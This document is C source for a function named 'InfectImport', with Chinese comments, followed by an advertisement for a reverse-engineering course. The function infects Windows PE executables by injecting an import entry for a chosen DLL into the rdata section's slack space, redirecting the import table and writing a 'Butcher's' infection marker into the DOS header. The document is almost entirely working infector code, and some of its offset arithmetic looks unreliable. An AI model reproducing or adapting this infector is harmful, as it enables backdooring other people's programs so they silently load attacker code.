函数名称:InfectImport
函数返回:true or false
第一参数:目标文件路径
第二参数:将注入的动态连接库
int InfectImport(const char* Path,const char* Library)
{
char Sign[0x10]={0};
FILE* File=0x0;
char* Buffer=0x0;
const char* Test=TEXT("Butcher's");
unsigned long Size=0;
unsigned long Offset=0;
IMAGE_DOS_HEADER Dos={0};
IMAGE_NT_HEADERS NT={0};
IMAGE_SECTION_HEADER Section={0};
IMAGE_IMPORT_DESCRIPTOR* Import=0;
IMAGE_DATA_DIRECTORY* Directory=0;
//申请所需的局部变量并为其初始化
if (fopen_s(&File,Path,TEXT("rb+"))!=0)
{
return 0;
}
//以读写权限打开目标文件
__try
{
__try
{
fread(&Dos,sizeof(IMAGE_DOS_HEADER),1,File);
if (Dos.e_magic!= IMAGE_DOS_SIGNATURE)
{
return 0;
}
//读取文件DOS头到缓存,并判断DOS签名
fseek(File,0x28,SEEK_SET);
fread(Sign,0x10,1,File);
if (strcmp(Test,Sign)==0)
{
return 0;
}
//读取文件第28字节处到缓存,此为IMAGE_DOS_HEADER结构e_res2[10]域的位置.
//原为微软定义的保留位.就是微软还没想好用这个地方做点什么,只是空一个空留着以后想到了再用.
//那它现在不用,我们就拿来用一下.用来做效验.判断当前文件是否已经被感染过了.如没有才继续
fseek(File,Dos.e_lfanew,SEEK_SET);
fread(&NT,sizeof(IMAGE_NT_HEADERS),1,File);
if (NT.Signature!=IMAGE_NT_SIGNATURE)
{
return 0;
}
//读取文件NT头到缓存,并判断NT签名
fseek(File,Dos.e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER),SEEK_SET);
fread(&Section,sizeof(IMAGE_SECTION_HEADER),1,File);
if (Section.VirtualAddress!=NT.OptionalHeader.BaseOfData)
{
return 0;
}
//读取文件rdata节到缓存,并判断正确性.
Size=NT.OptionalHeader.DataDirectory[1].Size;
if (Size+0x20>Section.SizeOfRawData-Section.Misc.VirtualSize)
{
return 0;
}
//获取文件导入表尺寸,并判断rdata节剩余空间是否能容纳新增一个导入项的新导入表.
Offset=Section.PointerToRawData+Section.Misc.VirtualSize;
//获取节空隙起始位置
Buffer=calloc(0x20,sizeof(char));
memset(Buffer,0,0x20);
strcpy_s((char*)Buffer,strlen(Library)+1,Library);
*(int*)((int)Buffer+0x10)=0x80000001;
*(int*)((int)Buffer+0x14)=0x0;
*(int*)((int)Buffer+0x18)=0x0;
*(int*)((int)Buffer+0x1c)=0x0;
//申请20字节堆,用以构造新导入项结构
fseek(File,Offset,SEEK_SET);
fwrite(Buffer,sizeof(char),0x20,File);
//把新构造的导入项结构写入文件rdata节空隙起始位置
Import=malloc(sizeof(IMAGE_IMPORT_DESCRIPTOR));
Import->FirstThunk =Offset+0x10;
Import->ForwarderChain =0;
Import->Name =Offset;
Import->OriginalFirstThunk =Offset+0x18;
Import->TimeDateStamp =0;
//申请堆,用以构造新导入项.
fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress+Size-0x14,SEEK_SET);
fwrite(Import,sizeof(IMAGE_IMPORT_DESCRIPTOR),1,File);
//在文件导入表结尾处写入新构造的导入项
Buffer=realloc(Buffer,Size);
memset(Buffer,0,Size);
fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress,SEEK_SET);
fread(Buffer,sizeof(char),Size,File);
fseek(File,Offset+0x20,SEEK_SET);
fwrite(Buffer,sizeof(char),Size,File);
//复制新导入表到新位置
Directory=malloc(sizeof(IMAGE_DATA_DIRECTORY));
Directory->Size =Size+0x14;
Directory->VirtualAddress =Offset+0x20;
fseek(File,Dos.e_lfanew+sizeof(IMAGE_NT_HEADERS)-0x78,SEEK_SET);
fwrite(Directory,sizeof(IMAGE_DATA_DIRECTORY),1,File);
//修改文件目录使导入表指向新位置,报告新尺寸
fseek(File,0x28,SEEK_SET);
fwrite(Test,strlen(Test),1,File);
//成功后在文件第28字节处,也就是IMAGE_DOS_HEADER结构e_res2[10]域的位置写入我们自定义的感染标志.这里标志为:Butcher's
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
return 0;
}
}
__finally
{
free(Buffer);
free(Import);
free(Directory);
fclose(File);
}
return 1;
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)